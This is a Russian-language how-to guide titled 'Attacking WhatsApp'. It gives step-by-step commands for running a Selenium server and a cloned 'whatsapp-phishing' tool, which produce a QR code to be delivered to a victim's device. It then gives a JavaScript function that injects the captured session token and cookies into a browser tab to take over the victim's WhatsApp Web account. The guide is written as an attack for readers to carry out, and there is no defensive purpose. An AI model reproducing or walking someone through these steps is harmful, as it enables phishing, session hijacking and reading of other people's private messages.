Мануал: Атакуем WhatsApp
В этой статье пойдет речь о взломе мессенджера WhatsApp.
Для начала, немного истории, не так давно (вроде бы, весной 2016) компания объявила, о том, что вся переписка и личные данные защищены методом «Сквозного шифрования», вот как о нем говорит сама компания:
Сквозное шифрование доступно, в случае если вы и ваши собеседники используете последние версии WhatsApp. Сквозное шифрование гарантирует, что только вы и человек, с которым вы общаетесь, можете прочитать содержимое, и никто кроме Вас. Все сообщения защищены уникальным замком. Только у адресата и у вас есть специальный ключ, который необходим, чтобы разблокировать и прочитать сообщения. Для дополнительной защиты каждое сообщение, которое вы отправляете, имеет уникальный замок и ключ. Все это происходит автоматически: вам не нужно настраивать параметры или создавать специальные секретные чаты, чтобы обеспечить защиту сообщений. Отключить сквозное шифрование невозможно.
Даже администрация мессенджера не в силах расшифровать Ваши данные. Это, безусловно, шикарная новость для пользователей. Но, как известно, безопасность - это иллюзия. Далее будет описан взлом с использованием фишинга.
Начнем.
Во-первых, необходимо скачать Selenium, jar файл отсюда http://www.seleniumhq.org/download/
Selenium Server – это сервер, который позволяет управлять браузером с удалённой машины, по сети. На той машине, где должен работать браузер, устанавливается и запускается сервер. Затем на другой машине запускается программа, которая, используя специальный драйвер RemoteWebDriver, соединяется с сервером и отправляет ему команды. Затем запускает браузер и выполняет в нём эти команды, используя драйвер, соответствующий этому браузеру.
Затем перейдем в папку, куда он был скачан:
> cd Загрузки/
> chmod a+x (позволим файлу исполнение)
> ./selenium-server-standalone-3.0.0-beta4.jar (стартуем сервер)
Не исключаю, что для корректной работы сервера потребуется geckodriver, его можно взять отсюда:
Теперь необходимо получить утилиту whatsapp-phishing, откроем новое окно терминала и напишем:
> git clone https://github.com/Mawalu/whatsapp-phishing.git
Затем перейдем в папку с whatsapp-phishing:
> cd whatsapp-phishing
И внимательно выполняем следующие команды:
> npm install
npm(Node.js Package Manager) — менеджер пакетов, входящий в состав Node.js.
Эта команда позволит установить все необходимое, Node.js и Socket.io, которые требуются для запуска веб-сайта и сервера Selenium. Если в процессе вы столкнулись с выводами команды - "Missing", то можно установить все вручную по порядку:
> npm install node.js
> npm install socket.io
> npm install wd
После того, как все необходимое было установлено, вводим в терминале следующую команду:
> nodejs index.js
В случае если вы все сделали правильно, увидите такой вывод:
Теперь, перейдя по ссылке в браузере – localhost:8080, видим это:
Выделенный QR необходимо доставить целевому устройству. Затем оно должно просканировать его своим приложением WhatsApp. Когда все сделано, WhatsApp аутентифицирует браузер, который управляется Selenserver и позволит получать token и document.cookie от целевой системы.
Итак, после того, QR был просканирован, можно скопировать token и document.cookie.
Перейдем в терминал, где запущен whatsapp-phishing и скопируем оттуда следующие строки:
Предлагаю запустить новую вкладку браузера в режиме «приват». В ней перейдем на сайт web.whatsapp.com.
Затем, на этой вкладке откроем режим разработчика:
Пишем в строке:
> var t= (затем копируем сюда код из консоли whatsapp-phishing)
Необходимо очень внимательно это делать, так как синтаксис будет ругаться на скопированные пробелы и т.д.
Затем пишем руками код следующего содержания:
> function login(token) {Object.keys(token.s).forEach(function (key) {localStorage.setItem(key, token.s[key])}); token.c = token.c.split(‘;’); token.c.forEach(function(cookie) {document.cookie = cookie; });}
Жмем enter, и последняя команда:
> login (t)
Теперь перезагрузим вкладку браузера, результатом будет доступ к аккаунту устройства, которое просканировало наш QR в начале.